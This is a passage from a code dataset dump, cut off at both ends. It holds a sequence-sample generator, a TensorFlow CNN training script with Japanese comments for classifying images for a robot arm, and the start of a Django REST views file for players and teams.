and only use sites on one chain\n family_sequences = [\n site[\"chainInteractions\"][0][\"sequence\"] for site in family_sites\n if len(site[\"chainInteractions\"]) == 1\n ]\n\n # How many sequence sites are there and how many negatives should there be?\n positive_count = len(family_sequences)\n negative_count = positive_count * 10\n with tqdm(total=positive_count + negative_count) as pbar:\n\n # Get positive samples for them\n positive_samples = []\n for sequence in family_sequences:\n if len([c for c in sequence if c.isupper()]) == res_count:\n positive_samples.append(sequence_site_to_vector(sequence))\n pbar.update()\n\n # Get negative samples for this family - 10 per positive sample\n negative_samples = []\n while len(negative_samples) < negative_count:\n # Pick a random unique_chain\n unique_chain = random.sample(unique_sequences, 1)[0]\n\n # Pick a random site within it\n site = random_sequence_family_input(unique_chain, family)\n if not site: continue\n\n # If it's not actually a positive sample, add it\n if site not in family_sequences:\n negative_samples.append(sequence_site_to_vector(site))\n pbar.update()\n \n # Create CSV file for family\n save_csv(\n positive_samples, negative_samples, family,\n os.path.join(\"data\", \"csv\", \"sequence\")\n )", "sub_path": "data/generate_sequence_data.py", "file_name": "generate_sequence_data.py", "file_ext": "py", "file_size_in_byte": 2938, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.append", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 30, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 51, "usage_type": "call"}, {"api_name": "common.sequence_site_to_vector", "line_number": 57, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 64, "usage_type": "call"}, {"api_name": "common.sequence_site_to_vector", "line_number": 72, "usage_type": "call"}]} +{"seq_id": "1112718", "text": "# -*- coding: utf-8 -*-\n# ステップ記録\n# ミニバッチに入るクラス分布を調整\nimport os\nimport time\nimport tensorflow as tf\n\nimport cv2\nimport numpy as np\nimport sys\nimport math\n\nMODEL_DIR=os.path.abspath(os.path.dirname(__file__))+\"/model\"\nSUMMARY_LOG_DIR=os.path.abspath(os.path.dirname(__file__))+\"/log\"\nTRAIN_DATA_DIR=os.path.abspath(os.path.dirname(__file__))+\"/train_data\"\nTEST_DATA_DIR=os.path.abspath(os.path.dirname(__file__))+\"/test_data\"\nif not os.path.exists(MODEL_DIR):\n os.makedirs(MODEL_DIR)\n\ntarget_step = 20\nn_classes = 7 # [その他][ラベル1][ラベル2][ラベル3][ラベル4][ラベル5][ラベル6]\nclass_batch_size = 20 # ミニバッチデータに入れる各クラスデータ件数\nclass_max_read = 100000 # 特定のクラスだけが特別に多くのバリエーションがあることを制限する。多くのデータがある状態なら制限の必要はない\nview_step = 1 # 表示するステップ間隔\nbatch_size = class_batch_size*n_classes # バッチサイズは10〜100前後に\n#label_bytes = 1 # n_classes = 0-3\n#label_bytes = 2 # n_classes = 4-7\nlabel_bytes = int(math.log2(n_classes)) # 数値からバイト数を求める。n_classes >= 2\nimage_width = 160\nimage_height = 120\nimage_depth = 3\nimage_bytes = image_width*image_height*image_depth #\ndata_cols = image_bytes\nrecord_bytes=label_bytes + data_cols # byte. label_bytes + image_bytes\nbatch_data_bytes=batch_size*record_bytes\n\nx = tf.placeholder('int32', [None, data_cols], name='input_x')\ny = tf.placeholder('int32', name='label_y')\n# dropout用 abount dropout https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/ops/nn_ops.py\n#keep_rate = 0.8\nkeep_prob = tf.placeholder(tf.float32, name='keep_prob')\n\nconv1_width=5\nconv1_height=5\nconv1_depth=image_depth\nconv1_outputs=32\nconv2_width=5\nconv2_height=5\nconv2_outputs=64\n\nfully1_width=image_width\nfully1_height=image_height\nfully1_inputs=4\nfully1_outputs=256 # 適当な値\n\n\n########################################\n# RGBに変換する\n########################################\ndef toRGB(cv_bgr):\n BGRflags = [flag for flag in dir(cv2) if flag.startswith('COLOR_BGR') ]\n cv_rgb = cv2.cvtColor(cv_bgr, cv2.COLOR_BGR2RGB)\n return cv_rgb\n\n########################################\n# ラベル番号をone_hot_valueに変換する\n########################################\ndef toONEHOT(int_label):\n one_hot_value = np.zeros((1,n_classes))\n one_hot_value[np.arange(1),np.array([int_label])] = 1\n return one_hot_value\n\n'''\n学習データ取得\n学習データはラベル番号のディレクトリ以下に画像ファイルとして保存されている\n'''\ndef read_data_files(DATA_DIR):\n train_data = []\n\n # OpenCV imageFormat is either 1 or 0 or -1\n #1 for loading as RGB image (strips alfa component of RGBA file)\n #0 for loading as grayscale image\n #-1 for loading as is (includes alfa component of RGBA file)\n imageFormat=1\n total_counter=0 # ディレクトリから読み込んだファイル総数\n \n # ラベルディレクトリは0から連番なのでforループで回すが、ラベルディレクトリ以下にある画像ファイル名に規則性は無いためファイル検索で取得する\n #train_label_dirs = [os.path.join(DATA_DIR, '%d' % i) for i in range(n_classes)]\n for int_label in range(n_classes):\n label_data = []\n label = str(int_label)\n if not os.path.exists(os.path.join(DATA_DIR,label)):\n raise ValueError('Failed to label dir: ' + label)\n \n path=os.path.join(DATA_DIR, label)\n file_names = sorted(os.listdir(path))\n counter = 0\n for file_name in file_names:\n sys.stdout.write(\"%s:%s\" % (label,file_name))\n sys.stdout.flush()\n if file_name.endswith(\".jpeg\"):\n pass\n elif file_name.endswith(\".jpg\"):\n pass\n elif file_name.endswith(\".png\"):\n pass\n else:\n sys.stdout.write(\" - ng \\n\")\n sys.stdout.flush()\n continue\n if counter >= class_max_read:\n sys.stdout.write(\" - skip \\n\")\n sys.stdout.flush()\n continue\n start_time = time.time()\n cv_bgr = cv2.imread(os.path.join(path, file_name), imageFormat)\n ########################################\n # ラベル番号をone_hot_valueに変換する\n ########################################\n one_hot_value = toONEHOT(int_label)\n\n\n train_row = np.append(cv_bgr.reshape(1,data_cols),one_hot_value)\n label_data += [list(train_row)]\n end_time = time.time()\n sys.stdout.write(\" - ok\")\n sys.stdout.write(\" time:%.8f\\n\" % (end_time - start_time))\n sys.stdout.flush()\n counter+=1\n \n train_data += [np.array(label_data)]\n total_counter += counter\n\n print(\"load files:{}\".format(total_counter))\n return np.array(train_data)\n\nclass_train_data = read_data_files(TRAIN_DATA_DIR)\nclass_test_data = read_data_files(TEST_DATA_DIR)\n\n\n# クラス毎のデータ位置を初期化\nCLASS_TRAIN_START_INDEX=[0]*n_classes\nCLASS_TRAIN_END_INDEX=[0]*n_classes # ダミー\nCLASS_TRAIN_INDEX_I=[0]*n_classes\nCLASS_TRAIN_ROWS=[0]*n_classes # ダミー\nTOTAL_TRAIN_ROWS=0 # ダミー\nfor i in range(n_classes):\n CLASS_TRAIN_ROWS[i]=len(class_train_data[i])\n TOTAL_TRAIN_ROWS+=CLASS_TRAIN_ROWS[i]\n#\nCLASS_DATA_COLS=len(class_train_data[0][0])\ndef next_class_train_data(int_label,remain_batch_size):\n global class_train_data\n global CLASS_TRAIN_START_INDEX\n global CLASS_TRAIN_END_INDEX\n global CLASS_TRAIN_INDEX_I\n global CLASS_TRAIN_ROWS\n global CLASS_DATA_COLS\n \n get_batch_size=remain_batch_size\n if get_batch_size > CLASS_TRAIN_ROWS[int_label]:\n get_batch_size = CLASS_TRAIN_ROWS[int_label]\n\n class_data = np.empty((0,CLASS_DATA_COLS), int)\n while remain_batch_size>0:\n CLASS_TRAIN_START_INDEX[int_label]=CLASS_TRAIN_INDEX_I[int_label]*get_batch_size\n CLASS_TRAIN_END_INDEX[int_label]=CLASS_TRAIN_START_INDEX[int_label] + get_batch_size\n if CLASS_TRAIN_ROWS[int_label] <= CLASS_TRAIN_START_INDEX[int_label]:\n CLASS_TRAIN_START_INDEX[int_label]=0\n CLASS_TRAIN_END_INDEX[int_label]=CLASS_TRAIN_START_INDEX[int_label] + get_batch_size\n CLASS_TRAIN_INDEX_I[int_label]=0\n \n if CLASS_TRAIN_ROWS[int_label] < CLASS_TRAIN_END_INDEX[int_label]:\n CLASS_TRAIN_END_INDEX[int_label]=CLASS_TRAIN_ROWS[int_label]\n\n if CLASS_TRAIN_INDEX_I[int_label] == 0:\n np.random.shuffle(class_train_data[int_label]) # データをシャッフルする\n\n class_data = np.append(class_data,class_train_data[int_label][CLASS_TRAIN_START_INDEX[int_label]:CLASS_TRAIN_END_INDEX[int_label]],axis=0)\n remain_batch_size -= len(class_data)\n if remain_batch_size < get_batch_size:\n get_batch_size = remain_batch_size\n \n CLASS_TRAIN_INDEX_I[int_label]+=1\n\n return class_data\n\n#\n\n# クラス毎のデータ位置を初期化\nCLASS_TEST_START_INDEX=[0]*n_classes\nCLASS_TEST_END_INDEX=[0]*n_classes # ダミー\nCLASS_TEST_INDEX_I=[0]*n_classes\nCLASS_TEST_ROWS=[0]*n_classes # ダミー\nTOTAL_TEST_ROWS=0 # ダミー\nfor i in range(n_classes):\n CLASS_TEST_ROWS[i]=len(class_test_data[i])\n TOTAL_TEST_ROWS+=CLASS_TEST_ROWS[i]\n#\ndef next_class_test_data(int_label,remain_batch_size):\n global class_test_data\n global CLASS_TEST_START_INDEX\n global CLASS_TEST_END_INDEX\n global CLASS_TEST_INDEX_I\n global CLASS_TEST_ROWS\n global CLASS_DATA_COLS\n \n get_batch_size=remain_batch_size\n if get_batch_size > CLASS_TEST_ROWS[int_label]:\n get_batch_size = CLASS_TEST_ROWS[int_label]\n\n class_data = np.empty((0,CLASS_DATA_COLS), int)\n while remain_batch_size>0:\n CLASS_TEST_START_INDEX[int_label]=CLASS_TEST_INDEX_I[int_label]*get_batch_size\n CLASS_TEST_END_INDEX[int_label]=CLASS_TEST_START_INDEX[int_label] + get_batch_size\n if CLASS_TEST_ROWS[int_label] <= CLASS_TEST_START_INDEX[int_label]:\n CLASS_TEST_START_INDEX[int_label]=0\n CLASS_TEST_END_INDEX[int_label]=CLASS_TEST_START_INDEX[int_label] + get_batch_size\n CLASS_TEST_INDEX_I[int_label]=0\n if CLASS_TEST_ROWS[int_label] < CLASS_TEST_END_INDEX[int_label]:\n CLASS_TEST_END_INDEX[int_label]=CLASS_TEST_ROWS[int_label]\n\n if CLASS_TEST_INDEX_I[int_label] == 0:\n np.random.shuffle(class_test_data[int_label]) # データをシャッフルする\n\n class_data = np.append(class_data,class_test_data[int_label][CLASS_TEST_START_INDEX[int_label]:CLASS_TEST_END_INDEX[int_label]],axis=0)\n remain_batch_size -= len(class_data)\n if remain_batch_size < get_batch_size:\n get_batch_size = remain_batch_size\n \n CLASS_TEST_INDEX_I[int_label]+=1\n\n return class_data\n\n#\n\n\n# 各クラスから均等に学習データを取得する\ndef next_train_data():\n global CLASS_DATA_COLS\n train_data = np.empty((0,CLASS_DATA_COLS), int)\n \n for i in range(n_classes):\n train_data = np.append(train_data,next_class_train_data(i,class_batch_size),axis=0)\n\n np.random.shuffle(train_data) # データをシャッフルする\n\n batch_data = train_data[:,0:data_cols]\n batch_target = train_data[:,data_cols:]\n\n return batch_data, batch_target\n\n# 各クラスから均等に学習データを取得する\ndef next_test_data():\n global CLASS_DATA_COLS\n test_data = np.empty((0,CLASS_DATA_COLS), int)\n \n for i in range(n_classes):\n test_data = np.append(test_data,next_class_test_data(i,class_batch_size),axis=0)\n\n np.random.shuffle(test_data) # データをシャッフルする\n\n batch_data = test_data[:,0:data_cols]\n batch_target = test_data[:,data_cols:]\n\n return batch_data, batch_target\n#\n\n\n\n\n\n\n\n\n# VGGの固定値\ndef conv2d(x, W):\n return tf.nn.conv2d(x, W, strides=[1,1,1,1], padding='SAME')\n\n# VGGの固定値\ndef max_pool_2x2(x):\n return tf.nn.max_pool(x, ksize=[1,2,2,1],\n strides=[1,2,2,1], padding='SAME')\n\n# 初期値をランダムにする関数\ndef weight_variable_conv(shape):\n n = shape[0]*shape[1]*shape[2]*shape[3]\n stddev = tf.sqrt(2.0/n)\n initial=tf.truncated_normal(shape, stddev=stddev)\n return tf.Variable(initial)\n\ndef bias_variable_conv(shape):\n initial = tf.constant(0.0, shape=shape)\n return tf.Variable(initial)\n\ndef weight_variable(shape):\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial)\n\ndef bias_variable(shape):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\ndef convolutional_neural_network(data):\n weights = {'W_conv1':weight_variable_conv([conv1_width,conv1_height,conv1_depth,conv1_outputs]),\n 'W_conv2':weight_variable_conv([conv2_width,conv2_height,conv1_outputs,conv2_outputs]),\n 'W_fc':weight_variable([fully1_width*fully1_height*fully1_inputs,fully1_outputs]),\n 'out':weight_variable([fully1_outputs, n_classes])}\n\n biases = {'b_conv1':bias_variable_conv([conv1_outputs]),\n 'b_conv2':bias_variable_conv([conv2_outputs]),\n 'b_fc':bias_variable([fully1_outputs]),\n 'out':bias_variable([n_classes])}\n\n data = tf.reshape(data, shape=[-1, image_width, image_height, image_depth])\n\n # 入力画像はint[]型にして、reluはfloat型なのでtf.cast()でtf.float32型に変換する\n conv1 = tf.nn.relu(conv2d(tf.cast(data,tf.float32), weights['W_conv1']) + biases['b_conv1'])\n conv1 = max_pool_2x2(conv1)\n\n conv2 = tf.nn.relu(conv2d(conv1, weights['W_conv2']) + biases['b_conv2'])\n conv2 = max_pool_2x2(conv2)\n\n pool1 = tf.reshape(conv2,[-1, fully1_width*fully1_height*fully1_inputs])\n fc = tf.nn.relu(tf.matmul(pool1, weights['W_fc'])+biases['b_fc'])\n fc = tf.nn.dropout(fc, keep_prob)\n\n prediction = tf.add(tf.matmul(fc, weights['out']), biases['out'], name='output_y')\n score = tf.nn.softmax(prediction, name='score')\n\n return prediction\n\ndef train_neural_network(x):\n\n global saver\n \n with tf.variable_scope(\"step\"):\n placeholder_step = tf.placeholder(tf.int32, name='input_step') # step値入力用\n variable_step = tf.Variable(initial_value=0, trainable=False, name=\"step\") # step記録用\n step_op = variable_step.assign(placeholder_step)\n\n \n prediction = convolutional_neural_network(x)\n losses = tf.nn.softmax_cross_entropy_with_logits(logits=prediction, labels=y)\n loss_op = tf.reduce_mean(losses, name='loss_op')\n tf.summary.scalar('loss', loss_op)\n\n train_op = tf.train.AdamOptimizer(0.0001).minimize(loss_op,name='train_op')\n\n correct = tf.equal(tf.argmax(prediction, 1), tf.argmax(y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32), name='accuracy')\n tf.summary.scalar('accuracy', accuracy)\n\n \n ########################################\n # tesnroboeard項目を用意する\n ########################################\n with tf.variable_scope('extra_log'):\n placeholder_total_loss = tf.placeholder(tf.float32, name='input_total_loss') # total_loss値入力用。float型\n variable_total_loss = tf.Variable(initial_value=0., trainable=False, name=\"total_loss\") # total_loss記録用\n total_loss_op = variable_total_loss.assign(placeholder_total_loss)\n tf.summary.scalar('total_loss', variable_total_loss) # total_lossを追加\n\n placeholder_ave_accuracy = tf.placeholder(tf.float32, name='input_ave_accuracy') # ave_accuracy値入力用。float型\n variable_ave_accuracy = tf.Variable(initial_value=0., trainable=False, name=\"ave_accuracy\") # ave_accuracy記録用\n ave_accuracy_op = variable_ave_accuracy.assign(placeholder_ave_accuracy)\n tf.summary.scalar('ave_accuracy', variable_ave_accuracy) # ave_accuracyを追加\n\n\n summary_op = tf.summary.merge_all()\n\n \n saver = tf.train.Saver(max_to_keep=100)\n start_time, start_clock = time.time(), time.clock()\n\n \n with tf.Session() as sess:\n ckpt = tf.train.get_checkpoint_state(MODEL_DIR)\n if ckpt:\n # checkpointファイルから最後に保存したモデルへのパスを取得する\n last_model = ckpt.model_checkpoint_path\n print(\"load {0}\".format(last_model))\n # 学習済みモデルを読み込む\n saver.restore(sess, last_model)\n LOAD_MODEL = True\n else:\n print(\"initialization\")\n # 初期化処理\n init_op = tf.global_variables_initializer()\n sess.run(init_op)\n\n\n max_batch_step = int(TOTAL_TRAIN_ROWS/batch_size)\n if max_batch_step == 0: # 学習データ数が少ない時、1にする\n max_batch_step = 1\n total_loss = 0\n ave_accuracy = 0\n step = 0 # 最後にstep数をモデルに記録するために変数を用意しておく\n writer = None\n\n # step取得\n _step = sess.run(variable_step)\n print(\"learned step:{}\".format(_step))\n _i=0\n \n for step in range(_step+1, target_step+1):\n # view_step*100 step毎にログを新しくする\n if step % view_step*10000 == 1:\n writer = tf.summary.FileWriter(SUMMARY_LOG_DIR, sess.graph) \n\n step_loss = 0\n for _i in range(max_batch_step):\n train_x, train_y = next_train_data()\n _train_op, batch_loss,ac = sess.run([train_op,loss_op,accuracy], feed_dict={x:train_x, y:train_y, keep_prob:0.8})\n step_loss += batch_loss\n ave_accuracy+=ac\n total_loss += step_loss\n\n if step % view_step == 0: # view_step毎に表示する\n s = sess.run(step_op, feed_dict={placeholder_step:step}) # ステップ数を保存する\n ave_accuracy = ave_accuracy/(view_step*max_batch_step)\n\n # tensorboardログに出力する\n sess.run([total_loss_op,ave_accuracy_op],\n feed_dict={placeholder_total_loss:total_loss,\n placeholder_ave_accuracy:ave_accuracy})\n \n w_summary = sess.run(summary_op, feed_dict={x:train_x, y:train_y, keep_prob:0.8}) # ログ値生成\n # 途中再開でログ書き込み先ファイルが分からないときはログ書き込み先を作る\n if writer is None:\n writer = tf.summary.FileWriter(SUMMARY_LOG_DIR, sess.graph) \n writer.add_summary(w_summary, step) # ログ出力\n \n print(\"step:%d ave_accuracy:%.8f total_loss:%.8f time:%.8f clock:%.8f\" % (step,ave_accuracy,total_loss,time.time()-start_time,time.clock()-start_clock))\n total_loss = 0\n ave_accuracy = 0\n\n # view_step step毎にsaveする\n if step % view_step*1000 == 0:\n saver.save(sess, MODEL_DIR + '/model-'+str(step)+'.ckpt')\n\n\n # train_data全件で精度を確認する\n final_accuracy = 0.0\n for _i in range(max_batch_step):\n train_x, train_y = next_train_data()\n final_accuracy += accuracy.eval(feed_dict={x:train_x, y:train_y, keep_prob:1.0})\n print('Train final_accuracy:{}'.format(final_accuracy/max_batch_step))\n\n # test_data全件で精度を確認する\n final_accuracy = 0.0\n max_batch_step = int(TOTAL_TRAIN_ROWS/batch_size)\n if max_batch_step == 0: # 学習データ数が少ない時、1にする\n max_batch_step = 1\n for _i in range(max_batch_step):\n test_x, test_y = next_test_data()\n final_accuracy += accuracy.eval(feed_dict={x:test_x, y:test_y, keep_prob:1.0})\n print('Test final_accuracy:{}'.format(final_accuracy/max_batch_step))\n\n if step > _step: # ステップ学習時\n sess.run(step_op, feed_dict={placeholder_step:step}) # ステップ数を保存する\n saver.save(sess, MODEL_DIR + '/model-'+str(step)+'.ckpt')\n\ntrain_neural_network(x)\n", "sub_path": "site/demo/IRE2017/RobotARM/CNN/train_cnn.py", "file_name": "train_cnn.py", "file_ext": "py", "file_size_in_byte": 18410, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 18, "usage_type": "call"}, {"api_name": "math.log2", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 41, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 96, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 99, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 99, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 100, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 100, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 108, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 108, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 109, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 109, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 112, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 112, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 113, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 113, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 123, "usage_type": "call"}, {"api_name": "time.time", "line_number": 125, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 126, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 126, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 127, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 127, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 128, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 128, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 224, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 246, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 261, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 278, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 278, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.max_pool", "line_number": 282, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 282, "usage_type": "attribute"}, {"api_name": "tensorflow.sqrt", "line_number": 288, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal", "line_number": 289, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 290, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 293, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 294, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal", "line_number": 297, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 298, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 301, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 302, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 315, "usage_type": "call"}, {"api_name": "tensorflow.nn.relu", "line_number": 318, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 318, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 318, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 318, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 321, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 321, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 324, "usage_type": "call"}, {"api_name": "tensorflow.nn.relu", "line_number": 325, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 325, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 325, "usage_type": "call"}, {"api_name": "tensorflow.nn.dropout", "line_number": 326, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 326, "usage_type": "attribute"}, {"api_name": "tensorflow.add", "line_number": 328, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 328, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 329, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 329, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 337, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 338, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 338, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 339, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax_cross_entropy_with_logits", "line_number": 344, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 344, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 345, "usage_type": "call"}, {"api_name": "tensorflow.summary.scalar", "line_number": 346, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 346, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 348, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 348, "usage_type": "attribute"}, {"api_name": "tensorflow.equal", "line_number": 350, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 350, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 351, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 351, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 351, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.scalar", "line_number": 352, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 352, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 358, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 359, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 359, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 360, "usage_type": "call"}, {"api_name": "tensorflow.summary.scalar", "line_number": 362, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 362, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 364, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 364, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 365, "usage_type": "call"}, {"api_name": "tensorflow.summary.scalar", "line_number": 367, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 367, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.merge_all", "line_number": 370, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 370, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 373, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 373, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 374, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 374, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 377, "usage_type": "call"}, {"api_name": "tensorflow.train.get_checkpoint_state", "line_number": 378, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 378, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 389, "usage_type": "call"}, {"api_name": "tensorflow.summary.FileWriter", "line_number": 409, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 409, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.FileWriter", "line_number": 431, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 431, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 434, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 434, "usage_type": "call"}]} +{"seq_id": "648631133", "text": "#libreries rest_framework\r\nfrom rest_framework import viewsets\r\nfrom rest_framework.response import Response\r\n#django import\r\nfrom django.shortcuts import get_object_or_404\r\n\r\n#import usuario\r\nfrom applications.users.models import User\r\n#import equipo\r\nfrom applications.equipo.models import Team\r\n\r\n#local impotrs\r\nfrom .serializers import (\r\n PlayerListSerializer,\r\n PlayerUpdateAnulateSerializer,\r\n DetailTeamListSerializer,\r\n UserPlayerListSerializer,\r\n PlayerAddSerializer,\r\n PlayerUserAddSerializer,\r\n TeamByPlayerUserSerializer,\r\n)\r\n\r\nfrom .models import Player, DetailTeam, 